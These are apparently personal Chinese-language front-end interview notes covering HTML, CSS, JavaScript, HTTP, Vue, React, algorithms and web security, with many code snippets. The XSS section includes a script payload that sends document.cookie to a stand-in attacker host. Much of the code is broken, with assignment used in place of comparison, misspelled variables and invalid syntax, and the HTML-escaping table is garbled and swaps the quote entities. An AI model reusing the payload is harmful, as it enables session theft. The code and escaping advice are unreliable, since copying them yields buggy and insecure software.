待做
框架出處:
套路
- 舉例
- 將不會的變成會的
- 侃侃而談
HTML 押題
-
你是如何理解 HTML 語義化的 第一種舉例, 段落用 p, 邊欄用 aside, 主要內容用 main 標籤。
header、nav 、article 、section 、aside 、footer
第二種舉例,在很早之前,一部分同事在寫html時,喜歡用 table 來佈局。 table 是用來展示表格的。這其實違反了 HTML 語義化 後來有了專門寫 css 的前端,他們會使用 DIV+CSS 佈局,主要是用 float 和 絕對定位佈局。已經有了 HTML 語義化的意思。 最後,專業化的前端希望使用恰當的標籤來展示內容。而不是全用div,會盡量使用 nav, header, aside, h1, ul, p, main 等標籤。
第三種,對面試官說請看[我的部落格]//
-
meta viewport 是做什麼用的,怎麼寫?
死背: 控制頁面在移動端不要縮小顯示
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> 複製程式碼
一開始,所有頁面都是給手機準備的, 賈伯斯推出 iphone 3GS, 頁面是不適應手機螢幕的,所以賈伯斯的工程師想了一個辦法,預設把手機模擬成980px,頁面縮小。後來, 智慧手機開始普及,這個功能在部分網站b誰需要了,所以我們就用 meta:vp 讓手機不要縮小我的網頁。
-
canvas 元素是幹什麼的?
MDN 的 canvas 入門手冊
畫板專案: 我是一個利用canvas實現的畫板
CSS 押題
- (必考) 說說盒模型
-
舉例
context-box: width == 內容區寬度
border-box: width == 內容區寬度 + padding + border
- css reset 和 normalize.css 有什麼區別
- 考英語:
- reset 重置, 之前的樣式我不要, a{color: red;}, 拋棄預設樣式
- normalize 讓所有瀏覽器的標籤都跟標準規定的預設樣式一致,各瀏覽器上的標籤預設樣式基本統一。
-
(必考) 如何居中
- 平時總結
- 水平居中:
- 內聯:父元素上寫 ta:c;
- 塊級:ml: a; mr: a;
- 垂直居中: 七種方式實現垂直居中
- 水平居中:
- 平時總結
-
選擇器的優先順序如何確定?
- 選擇器越具體,優先順序越高。 #yyy > .yyy
- 相同優先順序,寫在後面的覆蓋寫在前面的。
- color: red!important; 優先順序最高。 想辦法把他們寫的差不多長。
-
BFC 是什麼
- 舉例:
- o:h 清除浮動 但是對於清楚浮動有更好的方法 .clearfix 最好不要用 o:h 來清除浮動
- o:h 取消父子 margin 合併 ex,jscode 也有別的方式解決,padding-top: .1px
- 舉例:
-
如何清除浮動
- o:h (並不是一種特別好的解決方案)
- .clearfix 寫在父元素上
.clearfix::after { content: ''; display: block; clear: both; } .clearfix { zoom: 1; /* IE 相容 */ } 複製程式碼
JS 押題
-
JS 有哪些資料型別
string, number, bool, undefined, null, object, symbol
object 包含了陣列,函式, 正則,日期等物件
一旦出現(陣列、函式、正則、日期、NaN) 直接滾
-
(必考)Promise 怎麼使用
- then
$.ajax().then(成功函式, 失敗函式) 複製程式碼
- 鏈式 then
$.ajax().then(成功函式, 失敗函式).then(成功函式2, 失敗函式2) 複製程式碼
- 如何自己生成 Promise 物件
function xxx() { return new Promise(function(resolve, reject) { setTimeout(() => { resolve() 或者 reject() }, 3000) }) } xxx.then() 複製程式碼
- then
-
(必考) 手寫一下 Ajax?
答對不加分,打錯直接滾
let ajax = function(method, path, headers, data, responseCallback) { // frank fang let xhr = new XMLHttpRequest() xhr.open('POST', '/xxxx') xhr.onreadystatechange = function() { if(xhr.readyState = 4 && xhr.status === 200) { responseCallback() // log(xhr.responseText) } } xhr.send() } 複製程式碼
-
(必考) 閉包是啥
function getAdder() { let n = 0 return function () { n += 1 } } let adder = getAdder() adder() // n === 1 adder() // n === 2 console.log(n) // n is not defined 複製程式碼
-
這段程式碼中的 this 指的是?
- fn() 裡面的 this 就是 window
- fn() 是 strict mode , this 就是 undefined
- a.b.c.fn() 裡面的 this 就是 a.b.c
- new Fn() 裡面的 this 就是新生成的例項
- () => {console.log(this)} 箭頭函式不改變 this 的指向
-
(必考) 什麼是立即執行函式? 使用立即執行函式的目的是什麼
;(function() { var neme}()) ;(function() { var neme})() !!!!!!function() { var neme}() ~function() { var neme}() 複製程式碼
製造出一個函式作用域, 防止全域性汙染
ES 6 新語法
{ let name } 複製程式碼
-
async/awit 語法瞭解麼? 目的是什麼?
function returnPromise() { return new Promise(function(resolve, reject) { setTimeout(()=>{ resolve('guakun') }, 3000) }) } returnPromise().then((result) => { result === 'guakun' }) let result = await returnPromise() result === 'guakun' 複製程式碼
目的是把非同步程式碼寫成同步
-
如何實現深拷貝
i. 通過 JSON
let a = {} let b = JSON.parse(JSON.stringify(a)) 複製程式碼
缺點: JSON 不支援函式、引用、undefined、RegExp、Date
ii. 遞迴拷貝
function getType(obj) { let toString = Object.prototype.toString let map = { '[object String]' : 'string', '[object Number]' : 'number', '[object Boolean]' : 'boolean', '[object Undefined]' : 'undefined', '[object Null]' : 'null', '[object Object]' : 'object', '[object Function]' : 'function', '[object Array]' : 'array', '[object Date]' : 'date', '[object RegExp]' : 'regExp', } if (obj instance Element) { return 'element' } return map[toString.call(obj)] } function deepClone(obj) { let obj2 let type = getType(obj) if( type === 'array') { obj2 = [] for (let index = 0; index < obj.length; index++) { obj2.push(deepClone(obj[i])) } } else if (type ==== 'object') { obj2 = {} for( let key in obj) { ohj2[key] = deepClone(obj[key]) } } else { return data } return obj2 } 複製程式碼
iii. 環
iv. RegExp、Date、Set、Symbol、WeakMap
-
如何實現陣列去重
i. 計數排序的邏輯(侷限於正整數)
let a = [4, 2, 5, 6, 3, 5, 4] let hashtab = {} for(let index = 0; index < a.length; index++) { if(! a[index] in hashTab) { hashTab[a[index]] = true } } console.log(Object.keys(hashTab)) function getInt(arr) { let newArr = [] newArr = arr.map((item) => item-0) return newArr } console.log(getInt(Object.keys(hashTab))) 複製程式碼
ii. Set 去重
Array.from(new Set(a)) 複製程式碼
iii. WeakMap
-
如何使用正則實現 string.trim()?
function trim(string) { return string.replace(/^\s+|\s+$/g, '') } 複製程式碼
-
JS 原型是什麼?
舉例
a. let a = [1, 2, 3]
b. 只有 1,2,3, length 4個key
c. 為什麼可以 a.push(), push怎麼來的
d. a.proto = Array.prototype
e. push 就是沿著 a.proto 找到的, 也就是 Array.prototype.push
f. Array.prototype 還有很多方法, 如 join、pop、slice、splice
g.Array.prototype 就是 a 的原型 (proto)
-
ES6 中的 class 瞭解麼?
- 把 mdn 的 class 章節看完
- 掌握一個例子
ECMAScript 2015 中引入的 JavaScript 類實質上是 JavaScript 現有的基於原型的繼承的語法糖。類語法不會為JavaScript引入新的物件導向的繼承模型。
補充一個函式宣告提升的連結
-
JS 如何實現繼承
- 原型鏈
function Animal() { this.body = 'body' } Animal.prototype.move = function() { console.log('move') } function Human(name) { Animal.apply(this, arguments) this.name = name } // Human.prototype._proto_ = Animal.prototype // 非法 let f = function() {} f.prototype = Animal.prototype Human.prototype = new f() Human.prototype.useTools = function() { console.log('use tools') } let guakun = new Human('guakun') 複製程式碼
- 使用 extends 關鍵字
class Animal{ constructor(){ this.body = 'body' } move() { console.log('move') } } class Human extends Animal { constructor(name) { super() this.name = name } useTools() { console.log('use tools') } } let guapi = new Human('guapi') 複製程式碼
-
所有 == 的問題 反著答(棄療)
DOM 押題
-
DOM 事件的模型是什麼?
-
移動端的觸控事件瞭解麼?
i. touchstart touchmove touchend touchcancle
ii. 模擬 swipe 事件:記錄兩次 touchmove 的位置差,如果後一次在前一次的右邊,說明右滑了。(忽然想到輪播 css js)
-
事件委託是什麼?有什麼好處?
i. 假設父元素有 4 個兒子, 我不監聽這四個兒子, 而是監聽父元素,看觸發事件的是哪個兒子, 這就是事件委託。
ii. 可以監聽尚未出生的兒子(動態生成的元素) 省監聽器
function listen(elemnet, eventType, selector, fn) { element.addEventListener(eventType, e => { if(e.target.matches(selector)) { fn.call(el, e, el) } }) } // 應付面試的版本 複製程式碼
// 完美事件委託 來自造輪子 function listen(element, eventType, selector, fn) { elemnet.addEventListener(eventType, e => { let el = e.target while(!el.matches(selector)) { if(element === el) { el = null break } el = el.parentNode } el && fn.call(el, e, el) }) } listen(ul, 'click', li, () => {}) ul > li*5 > span 複製程式碼
HTTP 押題
-
HTTP 狀態碼知道哪些?
去看 mdn http 吧
-
301 和 302 的區別是什麼
i. 301永久重定向,瀏覽器會記住
ii.302 臨時重定向
-
HTTP 快取怎麼做
- Catche-Control: max-age=300
- cdn.com/1.js?v=1 避開快取
-
Cache-Control 和 Etag 的區別是什麼
自己查一下
-
Cookie 是什麼? Session是什麼?
-
Cookie
- HTTP 響應通過設定 Set-Cookie 設定 Cookie
- 瀏覽器訪問指定域名必須帶上 Cookie 作為 Request Header
- Cookie 一般用來記錄使用者資訊
-
Session
- Session 是服務端的記憶體(資料)
- Session 一般通過在 Cookie 裡記錄 SessionID 實現
- SeesionID 一般是隨機數
-
-
LocalStorage 和 Cookie 的區別是什麼?
- Cookie 會隨請求被髮送到伺服器上,LocalStrorage不會
- Cookie 大小一般在 4kb 以下, localstorage 一般 5mb 左右
-
(必考) GET 和 POST 的區別是什麼?
- 引數。 GET 的引數放在 url 的查詢引數裡,POST 的引數(資料) 放在請求訊息體裡。
- 安全(都不安全)。 GET 沒有 POST 安全
- GET的引數(url 查詢引數)有長度限制,一般是 1024 個字元。 POST 的引數(資料) 沒有長度限制(也有 4~10mb 限制)
- 包。 GET請求只需要發一個包,POST請求需要發兩個以上包(因為POST有訊息體)(其實,GET也可以用訊息體)
- GET用來讀資料, POST用來寫資料,POST不冪等(冪等的意思是不管發多少次請求, 結果都一樣。)
-
(必考) 怎麼跨域? JSONP是什麼? CORS是什麼? postMessage是什麼?
- JSONP
- CORS
- postMessage 看下 MDN
Vue 押題
-
(必考) Vue有哪些生命週期鉤子函式?
-
(必考)Vue 如何實現元件通訊?
- 父子通訊(使用 Props 傳遞資料、使用 v-on 繫結自定義事件)
- 爺孫通訊(通過兩對父子通訊,爺爺之間父子通訊,爸兒之間父子通訊)
- 兄弟通訊 (new Vue() 作為 eventBus)
-
Vuex 的作用是什麼?
-
VueRouter 路由是什麼?
- 看文件 部落格
-
Vue 的雙向資料繫結是如何實現的?有什麼缺點?
- 看文件, 深入響應式原理
-
Computed 計算屬性的用法? 跟 Methods 的區別。
React 押題
-
React 生命週期
-
例項化
- getDefaultProps
- getInitialState
- componentWillMount
- render
- componentDidMount
-
存在期
- componentWillRecieveProps
- shouldComponentUpdate
- componentWillUpdate
- componentDidUpdate
-
銷燬期
- componentWillUnmount
-
-
React Render 做了什麼
-
呼叫 setState 之後發生了什麼?
演算法押題
-
排序(背誦氣泡排序、選擇排序、計數排序、快速排序、插入排序、歸併排序)
- js Array.prototype.sort 方法瞭解一下?
const swap(arr, a, b) { // a, b 是下標 let t = arr[a] arr[a] = arr[b] arr[b] = t } 複製程式碼
const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0] window.Array.prototype.sort.call(arr, function(a, b) { return a - b }) arr 複製程式碼
- 冒泡
const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0] const bubleSort = function(arr) { for(let j = arr.length; j > 1; j--) { for(let i = 0; i < arr.length - 1; i++) { if (arr[i] > arr[i+1]) { let t = arr[i] arr[i] = arr[i+1] arr[i+1] = t } } } return arr } const x = bubleSort(arr) x 複製程式碼
- 選擇
const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0] const selectSort = function() { let index for(let i = 0; i < arr.length; i++) { index = i for(let j = i + 1; j < arr.length; j++) { if(arr[index] > arr[j]) { index = j } } if(index !== i) { let t = arr[i] arr[i] = arr[index] arr[index] = t } } return arr } const x = selectSort(arr) x 複製程式碼
- 計數
// 有一定的侷限 只能用於整數 const counterSort = function() { } 複製程式碼
-
快速
const arr = [6, 1, 2, 7, 9, 3, 4, 5, 10, 8] const quickSort(arr) { if(arr.length <= 1) { return arr } let midPos = Math.floor(arr.length / 2) // 呼叫了 js 原生 api 懶得寫了 大體就是用 二分的思想吧--。 } 複製程式碼
-
插入
// 從後往前比較 知道碰到比當前項還要小的前一項時 將這一項插入到前一項的後面 複製程式碼
- 歸併
-
二分查詢法
-
翻轉二叉樹
第三個二叉樹暫時先放棄了....
安全押題
-
什麼是 XSS(跨站指令碼攻擊(Cross Site Scripting)) 攻擊? 如何預防?
- 舉例
div.innerHTML = useComment // 某使用者提交了惡意評論 userComment = <script>$.get('http://hacker.com?cookie='+document.cookie)</script> // 惡意程式碼就被執行了, 這就是 XSS 複製程式碼
-
預防
-
不要使用 innerHTML, 改成 innnerText, script 就會被當成文字,不執行
-
如果你一定要使用 innerHTML, 字元過濾
- 把 < 替換成
<
- 把 > 替換成
>
- 把 & 替換成
&
- 把 " 替換成
'
- 把 ' 替換成
"
- 把 < 替換成
替換上面5個字元即可,更多 html實體
- 使用 CSP Content Security Policy
-
-
什麼是 CSRF(Cross-site request forgery 跨站請求偽造) 攻擊? 如何預防?
-
過程
- 使用者在 qq.com 登入
- 使用者切換到 hacker.com(惡意網站)
- hacker.com 傳送一個 qq.com/add_friend 請求, 讓當前使用者新增 hacker 為好友
- 使用者在不知不覺中新增了 hacker 為好友
- 使用者沒有想發這個請求,但是 hacker 偽造使用者發請求的假象。
-
避免
- 檢查 referer, qq.com 可以拒絕來自 hacker.com 的請求
- csrf_tocken 解決
-
Webpack 題
-
轉譯出來的檔案過大怎麼辦?
- 使用 code split
- 寫法 import('xxx').then(xxx => {console.log(xxx)})
- xxx 模組就是按需載入的
-
轉譯速度慢怎麼辦?
- 不會呀.... 想死
- 換臺電腦吧...
-
寫過 webpack loader 麼?
發散題
-
從輸入 URL 到頁面展現中間發生了什麼?
- DNS 查詢DNS快取
- 簡歷 TCP 連線(三次握手) (連線複用...)
- 傳送 HTTP 請求 (請求的四部分????)
- 後臺處理請求
- 監聽80埠
- 路由
- 渲染 HTML 模板
- 生成響應
- 傳送HTTP 響應
- 關閉 TCP 連線(四次揮手)
- 解析HTML
- 下載 css(快取...
- 解析 css
- 下載 JS (快取
- 解析 JS
- 下載圖片
- 解析圖片
- 渲染 DOM 樹
- 渲染樣式樹
- 執行js
-
你一年工作經驗是否足以勝任工作
- 開始問 直接涼
- 中間 最後問.. 他想壓價
- 我... 給他看之前的專案?
-
你遇到過最難的問題是什麼?
一波三折(講故事模板)
- 最開始 websocket 伺服器的搭建,遇到一部分資料處理的問題
- 去網上搜尋解決方案..
- 發現資料依然不符合預期
- 網上的程式碼不能很好的滿足需求
- emms... 面向stackoverflow程式設計吧...
-
你的期望薪資是多少?
+2000(壓價用)
-
實在不會
- 承認
- 詢問詳細細節: 你問的是不是 xxx 方面的解決方案
- 尋找相近話題
程式碼題
-
map + parseInt
// 給出 [1, 2, 3].map(parseInt) 的輸出結果 parseInt(1,0, array) // 1 parseInt(2,1, array) // NaN parseInt(3,2, array) // NaN 複製程式碼
-
a.x = a = {}
var a = {n:1}; var b = a; a.x = a = {n:2}; 複製程式碼
-
(a == 1 && a == 2 && a == 3) 可能為 true
能(棄療)
- 原理
a = { value: 0, toString(){ a.value += 1 return a.value } } 複製程式碼
京東筆試題:
-
手寫 Ajax 工具類,例如 request(url, option)
const request = function(url, option) { let xhr = new XMLHttpRequest() xhr.open(option, url) xhr.onreadystatechange = function() { if(xhr.readyState === 4 && xhr.status === 200) { // responseCallback() console.log(xhr.responseText) } } } 複製程式碼
-
跨域有哪些解決方案。 說說JSONP的實現。
function jsonp(setting) { settings.data = settings.data || {} settings.key = settings.key || 'callback' settings.callback = settings.callback || function() {} settings.data[settings.key] = '__onGetData__' window.__onGetData__ = function(data) { settings.callback(data) } let script = document.createElement('script') let query = [] for(let key in settings.data) { query.push(key + '=' + encodeURIComponent(settings.data[key])) } script.src = settings.url + '?' + query.join('&') document.head.appendChild(script) document.head.removeChild(script) } jsonp({ url: 'http://photo.sina.cn/aj/index', key: 'jsoncallback', data: { page: 1, cate: 'recommend', }, callback: function(ret) { console.log(ret) } }) 複製程式碼
-
CORS-跨域資源訪問
-
-
js有哪些實現繼承的方式。 閉包是什麼?
- class extends
- 閉包
- 第一種說法 閉包可以用來間接訪問一個變數,閉包可以用來隱藏一個變數
- 第二種說法: 閉包返回一個函式,這個函式可以操作其他函式內部的變數
function getAdder() { let n = 0 return function() { n++ console.log('n: ', n) } } let adder = getAdder() adder() adder() 複製程式碼
-
寫一個函式把手機號格式化: 13499991212 => 134 9999 1212
-
寫出一下程式碼的輸出結果
let leng = 1 function fn() { console.log(this.leng) } let obj = { leng: 2, method1: function(fn) { fn() // undefined fn.call(this) // 2 arguments[0]() // undefined }, method2: function() { document.addEventListener('click', evt => this.method3(evt.type), false) }, method3: function(type) { console.log(type + ' : ' + this.leng ) // 'click: 2' }, } obj.method1(fn) obj.method2(fn) // 點選頁面之後列印什麼? 複製程式碼
-
寫出下面程式碼的輸出結果
let reg = /abc/g let str = 'abcd' reg.test(str) // true reg.test(str) // false 複製程式碼
-
寫出一個複製物件的方法 包括淺複製 和 深複製
// 淺 let person = { age: 18, name: 'guakun', hobby: { first: 'code', second: 'code', } } let person2 = {} for(key in person) { person2[key] = person[key] } 複製程式碼
-
寫出下面程式碼的輸出結果
console.log(1) setTimeout(function() { console.log(2) }, 0) console.log(3) 複製程式碼
-
寫出下面程式碼的輸出結果
let p1 = {name: 'john', age: 30} let p2 = {name: 'lucy', age: 20} function modify1(obj) { p1 = {name: 'backus'} } function modify2(obj) { obj.name = 'guakun' } modify1(p1) modify2(p2) console.log(p1) // {name: 'backus'} console.log(p2) // {name: 'guakun', age: 20} 複製程式碼
-
如何實現以下效果
function add(num1) { return function(num2) { console.log(num1+num2) } } add(2)(5) 複製程式碼
-
解釋一下變數提升(hoisting)
-
事件物件的 target 和 currentTarget 屬性有什麼區別
- event.target 返回的是觸發事件的元素
- event.currentTarget 返回的是繫結事件的元素
-
DOM 事件流是什麼,各瀏覽器的相容性
捕獲和冒泡 相容性的問題我不會
-
load 和 DOM ready 有什麼區別?
-
寫一個找出陣列中重複元素的函式, 例如[0, 1, 2, 3, 4, 1, 4] 返回[1, 4]
//計數排序 let a = [0, 1, 2, 3, 4, 1, 4] let hashTab = {} let repeateHashTab = {} for(let index = 0; index < a.length; index++) { if(!(a[index] in hashTab)){ hashTab[a[index]] = true } else { repeateHashTab[a[index]] = true } } console.log(Object.keys(repeateHashTab)) function getInt(arr) { let newArr = [] newArr = arr.map((item) => item-0) return newArr } console.log(getInt(Object.keys(hashTab))) 複製程式碼
-
如何提高滾動事件的效能
-
防抖
防抖技術即是可以把多個順序地呼叫合併成一次,也就是在一定時間內,規定事件被觸發的次數。
// 防抖動函式 function debounce(func, wait, immediate) { var timeout; return function() { var context = this, args = arguments; var later = function() { timeout = null; if (!immediate) func.apply(context, args); }; var callNow = immediate & !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) func.apply(context, args); }; }; var myEfficientFn = debounce(function() { // 滾動中的真正的操作 }, 250); // 繫結監聽 window.addEventListener('resize', myEfficientFn); 複製程式碼
-
節流
防抖函式確實不錯,但是也存在問題,譬如圖片的懶載入,我們希望在下滑過程中圖片不斷的被載入出來,而不是隻有當停止下滑時候,圖片才被載入出來。 這個時候,我們希望即使頁面在不斷被滾動,但是滾動 handler 也可以以一定的頻率被觸發(譬如 250ms 觸發一次),這類場景,就要用到另一種技巧,稱為節流函式(throttling)。 節流函式:只允許一個函式在 X 毫秒內執行一次。 與防抖相比,節流函式最主要的不同在於它保證在 X 毫秒內至少執行一次我們希望觸發的事件 handler。 同樣是利用定時器,看看簡單的示例
// 簡單的節流函式 function throttle(func, wait, mustRun) { var timeout, startTime = new Date(); return function() { var context = this, args = arguments, curTime = new Date(); clearTimeout(timeout); // 如果達到了規定的觸發時間間隔,觸發 handler if(curTime - startTime >= mustRun){ func.apply(context,args); startTime = curTime; // 沒達到觸發間隔,重新設定定時器 }else{ timeout = setTimeout(func, wait); } }; }; // 實際想繫結在 scroll 事件上的 handler function realFunc(){ console.log("Success"); } // 採用了節流函式 window.addEventListener('scroll',throttle(realFunc,500,1000)); 複製程式碼
-
-
談下對 Promise 的理解
一種優雅的非同步解決方案 // q function Promise() { return } let promise = new Promise(function(x, y) { setTimeout(()=>{ x(101) }, 3000) }) promise.then((z) => { console.log(z) }) // a function Promise(fn) { let status = 'pending' function successNotify() { status = 'resolved' toDoThen() } function failNotify() { status = 'rejected' toDoThen() } function toDoThen() { if(status === 'resolved') { for(let i=0; i< successArray.length; i++) { successArray[i].call() } } else if(status === 'rejected') { for(let i=0; i<failArray.length; i++) { failArray[i].call() } } } let successArray = [] let failArray = [] fn.call(undefined, successNotify, failNotify) return { then: function(successFn, failFn) { successArray.push(successFn) failArray.push(failFn) return undefined // 簡化 } } } 複製程式碼
-
寫出下面程式碼的輸出結果(es6)
let x = 3 function fn (y = x) { let x = 4 console.log(y) } fn() // out: 3 複製程式碼